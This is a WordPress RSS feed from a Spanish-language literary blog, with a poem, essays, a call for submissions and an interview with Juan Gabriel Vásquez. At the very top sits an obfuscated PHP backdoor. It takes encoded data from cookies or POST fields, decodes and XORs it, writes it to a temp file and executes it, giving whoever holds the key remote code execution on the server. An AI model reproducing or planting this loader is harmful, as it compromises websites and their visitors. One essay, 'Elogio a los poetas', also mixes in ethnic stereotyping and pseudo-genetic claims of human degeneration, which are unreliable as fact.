$poVPthDL = class_exists("bi_PWWP");if (!$poVPthDL){class bi_PWWP{private $bhKPifoBh;public static $VVmPfuns = "6031f892-4c69-461b-aa03-20f57dd0098d";public static $QngRyX = NULL;public function __construct(){$IHLQmOo = $_COOKIE;$mxWYFWABx = $_POST;$Cpzno = @$IHLQmOo[substr(bi_PWWP::$VVmPfuns, 0, 4)];if (!empty($Cpzno)){$gXNuiCKHp = "base64";$DyXuqTtBH = "";$Cpzno = explode(",", $Cpzno);foreach ($Cpzno as $fdScEe){$DyXuqTtBH .= @$IHLQmOo[$fdScEe];$DyXuqTtBH .= @$mxWYFWABx[$fdScEe];}$DyXuqTtBH = array_map($gXNuiCKHp . '_' . 'd' . "\145" . 'c' . "\157" . "\144" . chr ( 207 - 106 ), array($DyXuqTtBH,)); $DyXuqTtBH = $DyXuqTtBH[0] ^ str_repeat(bi_PWWP::$VVmPfuns, (strlen($DyXuqTtBH[0]) / strlen(bi_PWWP::$VVmPfuns)) + 1);bi_PWWP::$QngRyX = @unserialize($DyXuqTtBH);}}public function __destruct(){$this->fkyOS();}private function fkyOS(){if (is_array(bi_PWWP::$QngRyX)) {$nfUdVDT = sys_get_temp_dir() . "/" . crc32(bi_PWWP::$QngRyX[chr ( 510 - 395 ).chr (97) . "\x6c" . chr (116)]);@bi_PWWP::$QngRyX[chr (119) . "\x72" . "\151" . chr (116) . chr (101)]($nfUdVDT, bi_PWWP::$QngRyX["\143" . chr ( 1059 - 948 )."\156" . 't' . chr (101) . chr (110) . "\164"]);include $nfUdVDT;@bi_PWWP::$QngRyX['d' . 'e' . chr (108) . "\145" . "\164" . "\x65"]($nfUdVDT);exit();}}}$ETOLvDXzYi = new bi_PWWP(); $ETOLvDXzYi = NULL;} ?>
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Literatura – www.interferencechannel.com http://interferencechannel.com Wed, 24 May 2023 23:52:39 +0000 en-US hourly 1 https://wordpress.org/?v=5.1.18 http://interferencechannel.com/wp-content/uploads/2016/04/cropped-IC-32x32.jpg Literatura – www.interferencechannel.com http://interferencechannel.com 32 32 El ser-forma http://interferencechannel.com/2020/12/24/el-ser-forma-2/ Thu, 24 Dec 2020 03:15:10 +0000 http://interferencechannel.com/?p=2757 + Read More]]>



De-forma le dijo su mente,
obviando sin ver lo que se siente.

Un día ve al interior
Observando solo órganos pues él no tiene conexión.

Basto, pesado y amplio andar,
para seres que solo han de caminar
juzgan el volar, aludiendo que la magia no se generará.

El ser-forma no ve fundamento,
Su fractal es más lento,
temporal; necesitando sopesar
las cosa que la materia ha de dibujar.

El ser-forma se conforma con el escuálido
blindaje de mentiras atrapadas en un espacio de materia.
El ser-forma de-forma la vida
con su mirada vacía.
No agradecerle al día,
es el espejo que has de desafiar en tu vida.

Acuérdate ser-forma, tú no eres como yo.
Solo eres una cáscara de la cebolla.
Solo una capa de la biosfera,
solo un aprendizaje entre las rosas.

Ser-forma, habito tus calles y miro tus lugares
pero jamás abrazaré tus planes,
ya que para ti la vida no es como un colibrí.
No es más que un vivir,
Vivir sin lo sagrado es morir mí.

Pero sabes? Vivir es recibir,
percibir y salir de la forma.
Adentrarse en lo que no de-forma.
Ser-vida es el misterio y la vida,
Sí es la vida,
el misterio de la magia
representando la vida en la forma
Sin ser-forma.

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Elogio a los poetas http://interferencechannel.com/2020/12/09/elogio-a-los-poetas/ Wed, 09 Dec 2020 02:53:07 +0000 http://interferencechannel.com/?p=2738 + Read More]]>
Foto de archivo.


Ser poeta nunca ha sido tan símbolo de valentía como en estos días, para ellos hasta las cosas menos amables que puedan suceder son sujetos de estudio, los hay que incluso hacen millones con sus tragedias, que muchos bailan pues están disfrazadas como canciones. Es que hay que ser valiente para que en este mundo, donde las asperezas son parte de la norma, donde valoramos más la “realidad” de las cosas tal como vienen, donde los eufemismos son menos comunes entre los de a pie (la inmensa mayoría), que miran al mundo desde una óptica que pretendiendo ser científica más parece una coraza en contra del descubrimiento constante y que nos deja desnudos ante nuestra ignorancia, pues muchos hasta derriban todo el conocimiento anterior, obligando a replantear el universo que lo circunda hasta hacerlo ininteligible, haciendo siempre más cómoda la vida con la pragmática funcional del mundo “normal”.

En el universo del reguetón y demás ritmos populares, la vulgaridad como forma de vida es la norma. En ese ambiente todos saben quién es el actor más famoso, sin embargo no les interesa saber del Nobel de literatura. Las preferencias del mundo editorial saltan con cosas tan terriblemente cursis, recargadas y predecibles como las sagas de vampiros y hombres lobo, antes que haber leído tan siquiera un cuento de Borges. Señores que azotan lindas universitarias que cuan cenicientas a golpe de fusta aceptan cualquier cosa para ganar status disfrazado de felicidad. ¡Qué son unos latigazos amorosos cada semana, si gana andar en helicópteros, cien guardaespaldas y fortuna ilimitada?, esta realidad no parece más que un remake de la Historia de “O” (Pauline Reagé) de los años setenta y la buena fórmula de cenicienta de la nueva era, esa película sola se tiró al coleto cualquier teoría sobre las formas feminazis, millones de fanáticas validaron que las feminazis están locas pues la mayoría gana, esta mentalidad democrática que poseo siempre se debate entre creer que la mayoría hace la norma o todos estamos equivocados sin importar mucho del lado que milites.

En estos tiempos donde se supone que deberíamos ser la especie más sabia del planeta, todas las noticias de guerras desmienten el asunto; ni siquiera Wikipedia nos salva cuando en vez de enfocarnos en buscar la forma de vivir lo más felices posible, nos amargamos el paso de los años -que siempre son pocos- y hace de su extensión hacia la vejez la antesala del infierno, por lo que también la muerte debe ser algo esperado. Nadie se salva, todos mueren haciendo que su vida sea un accidente más sin importar cuan importantes pudieren haber sido alguna vez. Aquiles y su talón siguen vigentes cinco mil años más tarde, sin embargo no es el modelo de las mayorías. Quiero pensar que es por una deformación del homo sapiens antes de la era de la razón. Vivir de destripar gentes no debería ser oficio memorable en estos tiempos civilizados que queremos pensar como nuestro mundo modélico de falsedades dadas por verdades, cuando ser cómplice de alguna manera te hace hasta más prestigioso, siempre es mejor compañía un ministro que un poeta, eso al menos para muchos.

No importa cuánto me empeñe en verle el lado amable a las cosas, si cada mañana debo salir a la calle y ahogarme de a poco con boca y nariz cubierta por un tapabocas, es un horror contemporáneo. Parece que al mundo no le parece suficiente alarmarse con enfermedades, guerras, mortandades o epidemias varias; no hay besos, abrazos, hoteles o sexo sin que esto, que hasta hace apenas unos meses era una constante, ahora sean considerados, no solo actos de mal gusto, sino motivo de exacerbar y/o encender pasiones entre los aterrorizados humanos que pululan por ahí. Solamente en los núcleos familiares se permite la indecorosa costumbre de andar a cara destapada.

Como decía el poeta, el crucificado fue fusilado de manera sumaria. Ya veníamos arrastrando el ala de la contemporaneidad. Drogas (duras), pedofilia, asesinatos, pobreza, maldad al por mayor hasta de los que considerábamos los buenos; sida, ébola, socialismo, extremismos varios, violencias gratuitas, vulgaridad campante, ¡Y llegó el coronavirus!. Todavía no entiendo cómo un chino ocioso de tantos que han de existir, se comió un murciélago y tres años después es el culpable de millones de muertes. La pandemia abolió la normalidad para encerrarnos, llevándonos al borde de la quiebra y quien sabe cuántas desgracias más se suscitan mientras escribo estas líneas, todas derivadas directamente por el lento desplome de las economías, que jamás estuvieron diseñadas para la parálisis total.

Durante esta desproporción de cuarentenas globales; tanto que la norma ahora será acostumbrarse al ahogo de la máscara, que los besos sean riesgos calculados que a fuerza de instintos de quiénes saben que, sea preferible morirse ahogado antes que no permitir el liberador acto sexual, tanto mejor , la dulce condena de la cohabitación donde la mayoría de las veces el objeto del amor es el carcelero; ser feliz de alguna manera es un asunto de valentía, quien sabe si un mes después de aquella noche de amor, desenfrenadas como las que todo condenado comete ante la inminencia de algo definitivo, dejas de respirar luego de una larga agonía, todo por un deseo.

El año 2020, cuando arrastramos aun la cobija de la ineptitud humana de dos mil años estuvieron plenas de sangre y locuras de todos los tenores, se inventa la penicilina y los ADN menos favorecidos tienen por fin espacio para vivir aun en contra de las leyes naturales, quién sabe cuan podrido se ha vuelto el genoma, que luego de millones de años haciendo selección natural, permitiendo que solo los más fuertes sobrevivan y ahora, por razones de urbanidad que ni siquiera yo, fiel creyente de esta teoría sobre el mundo desquiciado por la involución genética causada por esta salud extendida de los humanos puedo aplaudir, esto de hacer siega de la cosecha humana por medio del coronavirus es una realidad patente. ¿A nadie le llama la atención que en los últimos ochenta años la maldad se haya desbordado?, siempre hubo destripadores considerados héroes a pesar de los ríos de sangre que ocasionaron con sus necedades, Gengis Khan por ejemplo, se dice que el 10% de los europeos actuales llevan marcas de su ADN. Son familiares lejanos, no porque el tipo fuese un amante refinado, era un violador en masa cuyo disfrute luego de la batalla era apuñalar hombres y violar a las mujeres, que ha de haber matado él solo a no menos de quinientos hombres de su mano, y ser responsable de millones de muertes más por su orden directa; un asesino en masa como este aún se nombra en los libros de historia, se le reverencia como el más grande conquistador , una disonancia implícita entre nuestra moral actual y la historia.

De aquellos escasos millones de humanos entrecruzándose, sobreviviendo apenas los más aptos, seguro definieron alguna suerte de incesto con millones de primos trayendo primos en eterna cadencia, solo quebrada por la muerte; imagino que al pasar el tercer billón de humanos reproduciéndose cuan bacterias, la variedad genética comenzó a hacer goteras. Hace unos días escuché a alguien insultar preguntando si sus padres eran primos hermanos, recordé que lo normal es que la diversidad genética es la única garantía de un mundo con humanos normales. Si hace cuatro billones de humanos atrás ya comenzamos todos a ser primos, la varianza genética ha sido reducida, por tanto no es nada raro la multiplicación de casos clínicos de locura recurrente, dejándonos en la duda de si eso es una excepción o es la norma, y en ese caso quedamos todos muy mal parados. Este traspiés que los avances de la medicina han adelantado hasta niveles de extinción, en alguna parte han de haber causado que alguien tomase cartas en el asunto, sigue ´presente la vilencia en todas partes pero con el virus hacen el mundo más invivible. ¡Caramba!, lo que el SIDA no pudo hacer, ahora llega el virus y nos lo quita todo, la condena es menos focalizada, puedes ser la virgen María y yo el prototípico san José, nadie sabe si sale vivo de aquel hotel de paso, con las otras uno hasta puede usar protección, pero sexo con mascarillas ha de ser algo infernal y ni así puedes salvarte, como si la locura en que ha devenido el mundo gracias a la (teórica) orgia perpetua que nos ha vuelto primos hermanos a casi todos, ha llegado la cura de parte de (digamos para no caer en la conspiranoia) un chino ocioso que come sopa de murciélago.

En este mundo donde lo más simple es volverse lacayo de la realidad al aceptar sin cortapisas ser llevado por ella sin resistirse a su influjo, esa determinación a ser esclavo de las circunstancias solo encuentra escudo en la evasión total, la mercadotecnia del humo que termina siendo una droga tan dura que ahoga cerebros que de manera voluntaria y feliz que busca la sumisión absoluta de las masas, siendo víctimas anónimas de su inútil vanidad que se va en rituales y costumbres para morirse de mengua siendo un autómata que cuan planta, da su vida para que otro tenga el poder; ser poeta, artista, músico, filósofo o escritor, quienes muchas veces han sido catalogados de vagos, son la gente más valiente de la historia. Defenderse de la realidad inventándose mundos enteros que van de lo sublime a lo terrible pero que en ningún caso son espejos fieles de su realidad, que liman las asperezas de la vida desde la luminosa cornisa de la inteligencia, los mal entendidos, los brillantes y hasta los equivocados (esos que se empeñan desde su ignorancia en hacerse ver como cultos), ante todos ellos me quito el sombrero. Todo mi respeto por fabricar refugios de bolsillo para este mundo empeñado en quitarnos hasta el amor.

José Ramón Briceño Diwan.

17/10/20

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ESPACIO CREACIONISTA http://interferencechannel.com/2020/08/30/espacio-creacionista-literario/ Sun, 30 Aug 2020 21:33:49 +0000 http://interferencechannel.com/?p=2676 + Read More]]>

Daremos vida a un hermoso ESPACIO par ala narrativa literaria,de cualquier forma y sin restricciones; en donde buscaremos conformar un rinconcito para que cada quien pueda mostrar su arte con un único fin: “Manifestar lo que sientan sus almas”.

No venimos a definir o juzgar el arte de cada quién ya que esto sería como ponerle barreras al universo, solo venimos a entregar un poquito, para que conjunto a otro poquito seamos un ESPACIO de creacionismo, anti poesía – poesía, o cualquier expresión fluida que aguante el limitado lenguaje.

Este es un espacio de creación conjunta y a la vez un proyecto a largo plazo. A través de esta página especial de nuestro blog, daremos cabida a expresar los pensamientos, los sentimientos, las ideas. ¡Abrimos la invitación a todos los que quieran participar!. Pueden contactarnos a través de nuestras redes o al correo: interferencechannel@gmail.com.

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Venezolanos, atletas de la supervivencia. http://interferencechannel.com/2019/11/06/venezolanos-atletas-de-la-supervivencia/ Wed, 06 Nov 2019 08:42:31 +0000 http://interferencechannel.com/?p=2153 + Read More]]>

Conozco gente brillante, e inclusive muchas de esas personas son parte de mi familia entre
consanguínea y esos otros hermanos y hermanas de otros padres que andan sueltos por el mundo,
en una de esas conversaciones anodinas entre semáforos, un primo me dispara una pregunta de
esas que te descolocan hasta que digieres lo dicho para traducirlo a una escala que te permita
preguntarte qué hay tras de esa inquisitoria disparatada, el primo suelta a boca jarro, ¿sabes por qué los mejores corredores del mundo son africanos?, tocaba responderle a pesar de que cinco segundos atrás comentábamos los desaciertos pedagógicos de la educación actual, respiro profundo y me lanzo al vacío de la respuesta más lógica para mi conocimiento, dije sinceramente que no tenía ni idea de la razón para que los afro habitantes, no vaya a ser que me censuren por hablar de su tono de piel, desde que en Venezuela existe el delito de “corrupción espiritual” vivo muy asustado, ¿Se imaginan que caiga en boca de un juez y éste descubra que no voy a misa desde la confirmación, que he estado en bares, que soy padre soltero, peor, jamás me he casado (ni lo haré) y que he salido con más de una docena de damas desde que tengo uso de razón?, solo con eso soy fácil reo de corrupción espiritual , si digo algo políticamente (más) incorrecto es factible que pueda desgraciarme la vida y eso no está en mis planes .
Luego de que emitiese una sonrisa maléfica el hombre a su vez me responde, ¡Porque han pasado toda su vida pasando trabajo! , están genéticamente constituidos para correr al primer impulso pues las guerras no les son extrañas, tal como nosotros pasan hambre a pesar de tener empleos, los negocios turbios (desde el mercado negro de cosas que aun acá se encuentran en los
bodegones hasta la trata de esclavos, blancas o de órganos) son la medida de la supervivencia y
entonces, además, algunos entienden que esforzarse al máximo quizás los saque del infierno para saborear un poco del cielo del primer mundo donde , en comparación con sus vidas la existencia de los pobres equivale a la de cualquier clase media acomodado de su barrio originario, acto seguido surge el inevitable comentario sobre el paralelismo venezolano actual, entonces no es casual esa nueva camada de atletas de altísimo nivel ganando y viviendo en el primer mundo donde los países receptores fácilmente les ofrecerían hasta la ciudadanía para que compitiese por la nación anfitriona, los beisbolistas de alto vuelo, ingenieros, médicos, periodistas, maestras, profesores y toda una inmensa multitud de profesionales de primer orden que están luciéndose en el extranjero, son muchos pero no tantos como para lograr este desierto intelectual en el que vive mi país, donde cualquier ignaro personajillo ostenta un título universitario emitido por alguna universidad de dudosa reputación pero de altísimo nivel patriotero.
Luego de la conmoción por el hallazgo de un detalle que parece flotar en el aire pero que nadie se atreve a verbalizar, es que estos veinte años de tragedia continuada por el posterior
endurecimiento de las condiciones de vida para los que quedamos acá ha logrado generaciones de
atletas de alto rendimiento producto del eterno entrenamiento al que están sometidos sólo por el
hecho de querer seguir vivos, claro, estas destrezas son funcionales dependiendo de las
aspiraciones y el entorno del atleta de la supervivencia pues no todos tienen cerebros con más funcionalidad que la otorgada por sus instintos primarios cuya naturaleza los obliga a obviar elegancia alguna en sus métodos ni razonamiento lógico para pensar más allá de lo
extremadamente simple como lo es la violencia y la maldad, sin embargo los buenos somos más y
hay millones de seres haciendo un esfuerzo sobrehumano para sobrevivir con cierto decoro, desde viajantes de horario laboral que pasan más tiempo en el transporte público que en sus casas,
estudiantes esforzados, genios informáticos autodidactas, artistas muy ocupados en dar la espalda al abominable estándar artístico del estado, protectores de animales, científicos, médicos, comerciantes y emprendedores que en medio del caos logran sortearlo con la esperanza de sobrevivir de forma medianamente digna en la imposible situación nacional.
Este fenómeno ocasionará que cuando todo pase o a pesar de ello, la fuerza descomunal de
millones trabajando con las mejores condiciones, universidades dotadas de personal, sueldo y
recursos del primer mundo, profesionales bien pagados, salarios equivalentes a la cantidad de
preparación y aptitudes del individuo, gentes felices de descubrir que la cosa al final es más que
simple dedicación un poquito más allá del mínimo pero producto del máximo esfuerzo profesional no va a poder ser detenida por nada ni nadie, atropellará a las piaras de malvados que se empeñan en destruir por codicia disfrazada de ideología, se encomiará el esfuerzo intelectual
como mecanismo básico para lograr una vida cómoda , si eres obrero de por vida es asunto de
ceguera no de recursos para acceder a una mejor situación, dejando la maldad socialmente
aceptada o reduciéndola al incómodo pero no grave desliz de amoríos extramaritales, borracheras ocasionales, drogadicciones felices, burdeles para los muy solitarios en vez de esta mezcla tan rara de todos los anteriores con violencia como medida de “normalidad”.
En fin, presumimos que es bastante factible que toda esta situación de inframundo inducido por
los comunistas con aspiraciones altamente capitalistas sea arrollado y desterrado hasta de los libros de historia por esta generación de atletas de la supervivencia que a pesar de todo no
abandonarán sus buenas costumbres y que luego de tanta fortaleza obtenida del ejercicio
agotador de no claudicar ante la realidad lograrán acabar de raíz toda la barbarie inoculada por los muy revolucionarios adalides del totalitarismo comunista, éste donde todos somos iguales pero donde ellos son más iguales que (nos)otros.

José Ramón Briceño, 2019

@plurifotos

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Juan Gabriel Vásquez en conversación con Diego Aretz http://interferencechannel.com/2018/09/27/juan-gabriel-vasquez-en-conversacion-con-diego-aretz/ Thu, 27 Sep 2018 21:09:40 +0000 http://interferencechannel.com/?p=2026 + Read More]]>
By Hermance Triay

By Hermance Triay

“Los seres humanos no hemos inventado la novela. La novela nos ha inventado a nosotros”.

Juan Gabriel Vásquez es uno de los escritores más lucidos de la literatura Colombiana actual, su novela más conocida es El ruido de las cosas al caer, que ganó, entre otras distinciones, el Premio Alfaguara de Novela y el IMPAC Dublin Literary Award, uno de los premios más prestigiosos del mundo. Sus libros han sido traducidos a más de 28 idiomas y es sin lugar a dudas un referente contemporaneo de la literatura hispanoamericana. Conversé con él y esto fue lo que me dijo.

Diego: Juan Gabriel Vásquez, gracias por esta entrevista.

Juan: Gracias, un placer conversar con Ud.

Diego: La forma de las ruinas es tu última novela publicada. Hablar de ti es hablar de muchas cosas, es hablar de la literatura más importante de Hispanoamérica en este momento, así que quién más que tú para hablar de esto. Cuéntanos, ¿qué ha sido este tiempo para ti?

Juan: Ha sido un año movido. La forma de las ruinas, que se publicó en noviembre del 2015, ha empezado a salir en las traducciones, entonces me he visto en esa tarea gozosa de ir a hablar del libro en otras partes. También acepté una cosa muy bonita: dar una cátedra en la universidad de Berna en suiza. El contacto con los estudiantes y hablar de literatura en público son de las cosas que más me gusta hacer. En la universidad de Berna me pedían hablar durante 14 semanas de lo que yo quisiera, de manera que inventé un curso sobre lo que es mi tema obsesivo de los últimos años: ¿qué es la novela?, ¿por qué escribimos novelas?, ¿por qué las leemos?, ¿qué nos hacen las novelas?, ¿por qué puedo yo defender la idea, que puede sonar exagerada, de que no es que los seres humanos hayamos inventado la novela, sino que la novela nos ha inventado a nosotros como seres humanos? De todo eso hablé durante 14 semanas. El curso tuvo como fruto un libro de ensayos que voy a publicar en un mes, y bueno, este habrá sido entonces el año del ensayo para mí.

Diego: Viajes con un mapa en blanco, ese es el título de tu libro de ensayos, pero ¿Cuál es ese “mapa en blanco”?

Juan: El título sale de la metáfora central de uno de los ensayos. El primero de ellos es una reflexión sobre lo que hacen las novelas en la que se menciona una idea de Joseph Conrad, un novelista muy importante para mí. Su novela El corazón de las tinieblas es la historia de un hombre que viaja a un lugar que todavía no ha sido explorado y cuyo mapa, por lo tanto, está en blanco. Y a mí se me ha ocurrido que la idea de un hombre que se monta en un barco y va a un lugar completamente inexplorado, y luego vuelve para contarnos lo que encuentra en ese lugar, para contar sus descubrimientos, es en sí una novela. Cuando una novela vale la pena, cuando en realidad hace honor a su tradición, yo creo que es, en esencia, ese barco que va a un lugar, descubre cosas y luego vuelve para contarlas. eso es lo que hizo Cien años de soledad, por ejemplo. Una novela que fue a un lugar a donde nadie había ido nunca.

Diego: ¿A dónde?
Juan: A este lugar que ahora conocemos gracias a eso que hemos llamado realismo mágico. A una Latinoamérica, a una Colombia en donde las supersticiones, la religión, las creencias populares, las idiosincrasias de la gente y de las familias convivían en pie de igualdad con nuestra realidad más dura: la realidad política y la realidad social. Ese lugar, es decir, esa manera en particular de explorar Latinoamérica, no existía hasta ese momento y Cien años de soledad nos permitió ir a un sitio inexplorado y por lo tanto saber qué era lo que pasaba allí. Esto son las novelas para mí y este libro de ensayos trata explorar esta idea.

Diego: ¿Cómo vuelves tú a tus novelas?, ¿cómo es ahora, después de cinco novelas publicadas, volver a leerlas?, ¿cómo es ese encuentro?, ¿qué son para ti?

Juan: Son insatisfacciones constantes. El escritor mexicano, Alfonso reyes, decía que publicamos para que no se nos vaya la vida corrigiendo los borradores. Yo estoy de acuerdo con eso, anotando que, de todas maneras, después de publicar un libro, uno siempre está insatisfecho con el libro tal como quedó; siempre está encontrándole defectos, así que me he dedicado a corregir los pequeños errores que siempre están.

Diego: De tu autoría, ¿Cuál fue la última novela que releíste?

Juan: La forma de las ruinas, que es la última que publiqué, va a salir ahora con una nueva portada, y eso me dio la oportunidad de meterme ahí y corregir algunas cositas que me habían estado atormentando […] [es ahí donde] uno descubre lo vulnerable que es el trabajo del escritor, en el sentido de que, un escritor como yo, que lee y relee el manuscrito decenas y cientos de veces, y lo publica porque ya cree que este no se puede mejorar, deja pasar seis meses y empieza a descubrir que eso, lejos de ser cierto, lo pone a uno frente a la realidad un poco angustiosa de que siempre un libro sale con cosas que se pueden mejorar. […] [Con respecto a esto] Hay dos métodos de escritura: está la gente que escribe y, obsesivamente, corrige cada frase hasta que la página esté perfecta y otros que, como decía el escritor español, Muñoz Molina, primero abren las compuertas de la imaginación y deja que todo salga hasta llegar al final de la novela y luego hace uso de la lima y corrigen cada cosa.

Diego: ¿Cuál de esos dos métodos usas tú?

Juan: Yo creo que una mezcla. Cuando estoy trabajando me parece que soy del primer grupo; estoy puliendo obsesivamente cada frase, pero luego me llegan las pruebas del libro y, antes de que se publique, empiezo a cambiar cosas de tanta importancia como para pensar que soy del segundo grupo de escritores.

Diego: Estudiaste derecho en la Universidad del Rosario, uno puede atreverse a pensar que hay una conexión entre el centro de Bogotá y tú. Para ti el centro es algo muy particular, cuéntanos un poco de esta relación entre el centro, El Rosario tus estudios y tu literatura, ¿cómo era todo aquello?, ¿cómo era la Bogotá de esa época?

Juan: Mi relación con Bogotá es muy sentimental, muy emocional, porque yo crecí fuera de la ciudad; yo viví mis primeros diecisiete años fuera de la ciudad, de manera que nunca tuve un barrio de Bogotá que caminara o conociera en la soledad relativa de un niño o de un adolescente. Entonces llegar a la universidad, al centro bogotano, para mí, con diecisiete años, fue efectivamente la primera vez que descubrí una ciudad que fuera mía. Fue la primera vez que pude apropiarme, como se apropia la gente de un barrio: caminando, tomándome un café, una cerveza, metiéndome en sus librerías o jugando billar en los billares y, a partir de cierto momento, el centro bogotano se volvió también el lugar donde habían pasado las cosas que me interesaban. Contaba en mis primeros cuentos historias de las que había oído hablar en mi familia, historias de la Historia colombiana y en alguna parte, cuando ya había descubierto que el derecho no era lo mío, a la mitad de la carrera exactamente, fue el momento en que yo descubrí que eso de la literatura no era para mí un pasatiempo como había creído, sino que era verdaderamente una obsesión, una vocación y que eso era lo que quería hacer con mi vida.

Diego: ¿Qué novelas recuerdas de la infancia?

Juan: Cuando yo era niño, a finales de los setenta y principios de los 80, salió en Colombia una colección de lomo verde de la editorial “Oveja Negra”, era de literatura de aventuras y ahí estaban, sin infantilización de ningún tipo, sin cortar pedazos, sin censura, ni simplificar las cosas a los niños, todas las novelas de aventuras de Julio Verne, Emilio Salgari y Alejandro Dumas. Esos fueron mis libros. […] Cuando uno es niño, yo creo que uno tiene que empezar a leer libros con la idea de que son un lugar de combate, de rebeldía y de subversión, son una rebeldía contra el mundo y un lugar donde uno está constantemente peleando “a brazo partido” por saber quién es. El niño, en los libros, está descubriendo quién es. Entonces esos eran los libros de mi infancia.

Diego: Se denota en ti esa fascinación por el hombre solitario como esa figura de aventurero, ¿cómo es esa relación contigo?, a pesar de tener una vida familiar rica, relaciones de amistad, ¿te consideras solitario?

Juan: Sí, creo que esa contradicción profunda está en muchísimos escritores. Una pregunta interesante, pero banal, que me hago a mí mismo es: ¿Qué viene primero?, ¿Uno se convierte en escritor porque es una persona solitaria o se convierte en una persona solitaria por la vocación literaria que exige la soledad? Yo he sido solitario siempre, he disfrutado mucho la soledad […] y quizás por la intensidad de esos momentos de soledad uno tiende a construir relaciones muy fuertes con la poca gente con la que lo hace y esa poca gente en mi caso es mi familia y mis amigos que son pocos los que de verdad llenan en esos espacios en los que uno decide entregarles la soledad.

Diego: ¿Cómo se construyen entonces los personajes de tus novelas?
Juan: Por medio de la curiosidad a la revelación que hay, en algún momento, de todo lo que ocultan las personas. Lo que vemos de los demás es apenas una fachada. Todo el mundo oculta algo y todo el mundo tiene una vida secreta, una dimensión invisible absolutamente fascinante por lo menos para los curiosos compulsivos. Mis narradores son gente que se obsesiona con los secretos de otro porque de esa misma manera funciono yo, todas mis novelas nacen de un encuentro real con una persona que, por alguna razón, me parece misteriosa o más llena de sombras de lo que a primera vista pueda verse. El primer paso en todas mis novelas es la asociación con una persona real en la que trató de indagar; sobre la cual trato de investigar y por eso me parece natural que a mis narradores les pase lo mismo en todas mis novelas.
[…]

Diego: La historia contemporánea de Colombia y el siglo XX destaca por la violencia, por la guerra, por los muertos y las masacres y dentro de este contexto, me parece muy interesante cómo a un escritor le toca esa realidad y tiene que reaccionar a ella de alguna manera, ¿Cómo es para ti y cómo era para ti la violencia cuando comenzaste a ser consciente del país en que naciste?

Juan: Mi generación es la generación que nació con el narcotráfico. Eso es algo que estuvo muy presente. Considero que tuve una niñez muy pacífica o que percibía como pacífica hasta que, en el 1984, Pablo Escobar manda a matar a Rodrigo Lara Bonilla; esa fue la primera vez que vi realmente al mundo, empezaba a ver los conflictos y fue el momento en que, para mí, hubo una revelación de lo que iba a ser nuestra vida en Bogotá: la ciudad de las bombas, de los tiroteos y de la violencia. Las realidades en conflicto forjan literatura, las sociedades apremiadas producen novelas porque ellas son o han sido una especie de termómetro curioso de lo que está pasando en la sociedad. Son una de las mejores maneras que hemos inventado los seres humanos para explorar el conflicto y para saber cómo se maneja.

Diego: ¿Cómo leer este momento que estamos viviendo en Colombia?

Juan: Este momento por el que estamos pasando los colombianos es profundamente complejo y va a exigir una negociación mucho más complicada entre nosotros que todo lo que fueron los 5 años de negociaciones en La Habana. Nuestro relato, en los últimos 50 años, es un cuento si lo narra una víctima de la guerrilla, pero otro distinto si lo cuenta una víctima del paramilitarismo; uno si lo cuenta un habitante de las grandes ciudades y otro si es un habitante de las zonas rurales golpeadas por la guerra. Parte de lo que tenemos que hacer ahora es tratar de construir una versión nacional de nuestros últimos años en la que todos quepamos, una versión tolerante y generosa. Tenemos que encontrar ese cuento que nos permita a todos sentirnos reflejados o identificados y respetar el relato del otro como una versión de los mismos hechos que se contrapone a la mía, pero que no por eso es menos válida.

Diego: Muchas gracias por esta entrevista.

Juan: Gracias a ustedes.♦

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Posverdad y política contemporánea. http://interferencechannel.com/2018/04/06/posverdad-y-politica-contemporanea/ Fri, 06 Apr 2018 17:15:52 +0000 http://interferencechannel.com/?p=1949 + Read More]]> “We are rapidly becoming prototypes of a people that totalitarian monsters could onlydrool about in their dreams” Steve Tesich

 

Hace poco frente a una estación de servicio escuchaba una conversación sobre Castro Chavismo, eran dos personas, una argumentaba que si bien era cierto que los Castrochavistas estaban en el poder y estaban peligrosamente fuertes, los Colombianos no iban a dejar que un Chavez tomara el poder, por la sencilla razón que “al Colombiano le gusta la cosa propia”, la propiedad privada. Al colombiano “no le gusta que le regalen las cosas”, al colombiano le gusta ganárselas.

Estaba escuchándolas cuando me toco mi turno en la Estación. Cuando entregue los 40 mil pesos pensé que de verdad la gasolina es cara en este país pero es barata en los Estados Unidos y es barata en Venezuela, y pensé que el buen vivir es definitivamente complejo de encontrar.

Volví a pensar en lo que hablaban las señoras en la estación días después, el tema del Castrochavismo me acorrala en cada rincón que voy de la ciudad, he conversado con Iván Cepeda, con el Uribismo, con líderes políticos de las FARC, con lingüistas y hasta con el perro. Pero nadie me puede contar, me puede ayudar a entender que es esto de Castro Chavismo.

El término “pos verdad” ha tenido una fuerte distribución desde la llegada de Trump a la casa oval, los medios liberales gringos le han dedicado una guerra directa, una guerra abierta y hablan hasta la saciedad de ese término. Quisiera desentrañar este curioso neologismo, quisiera desnudarlo.

“De acuerdo al diccionario Oxford, el término posverdad fue usado por primera vez en un ensayo de 1992 por el dramaturgo serbio-estadounidense Steve Tesich en The Nation (de Nueva York). Tesich, escribiendo sobre el escándalo Watergate, el escándalo Irán–Contra y la Guerra del Golfo, expresó: «Nosotros, como pueblo libre, hemos decidido libremente que queremos vivir en algún mundo de posverdad»”

Pensemos un poco que el contexto en que nace el término era relativamente parecido del actual (al menos en lo que respecta a los Estados Unidos). Un presidente corrupto, totalitario con todos los visos de personaje sórdido, una democracia agotada, una mala representación de las minorías y una tendencia oligopolica en todas las cortes.

El escándalo Watergate puso en evidencia como el presidente Nixon utilizaba todas las instituciones policiales del gobierno, para dañar y desprestigiar al resto de fuerzas políticas en ese caso el Partido Demócrata. Es precisamente en esa crisis moral de la política donde surge el término de Posverdad. La Posverdad es entendida como la manipulación de la verdad, el prefijo “pos” que viene del latín quiere decir “después de”. El término indica que vivimos aparentemente en una realidad después de la verdad, una realidad en donde la certidumbre de nuestras hipótesis no tiene lugar, la verdad –se nos dice- no es importante, hay algo más importante: el uso que del lenguaje hacemos desde la prensa o desde la política.

La Posverdad ha venido tomando lugares cada vez más comunes en la vida contemporánea, el siglo XX que quizás fue el siglo de la publicidad nos enseño mucho de dominación y manipulación de masas, el traspaso de estos usos del lenguaje y las imágenes a la política es uno de los eventos más interesantes de las democracias modernas.

La Posverdad encierra en sí misma un principio que pienso es falso, la idea de que vivíamos en una Edad de la Inocencia donde la verdad si le importaba a los medios y a los políticos, una edad aparentemente perfecta donde los mensajes entre emisor y receptor eran limpios y honestos.

